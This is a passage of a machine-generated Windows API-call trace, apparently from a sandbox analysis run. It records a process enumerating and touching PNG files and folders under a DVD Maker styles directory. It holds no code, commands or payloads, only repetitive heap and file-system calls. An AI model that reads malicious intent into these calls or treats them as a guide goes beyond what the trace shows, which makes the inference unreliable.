BaseAddress=0xa08860) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16368 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16f98 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16388 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa170a0 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa163a8 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa171a8 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa163c8 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa172b0 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa163e8 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa173b8 [0069.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.306] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16408 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa174c0 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16428 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa175c8 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16448 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16468 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa176d0 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16488 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa089f8 [0069.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.308] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa164a8 [0069.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08a80 [0069.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0069.309] GetLastError () returned 0x12 [0069.309] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.309] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0069.310] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0069.310] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0069.310] GetLastError () returned 0x12 [0069.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.310] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0069.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.311] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0069.311] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1b338 [0069.311] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1b338, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1b338, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1b338) returned 1 [0069.311] NtClose (Handle=0x124) returned 0x0 [0069.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.311] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.318] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: 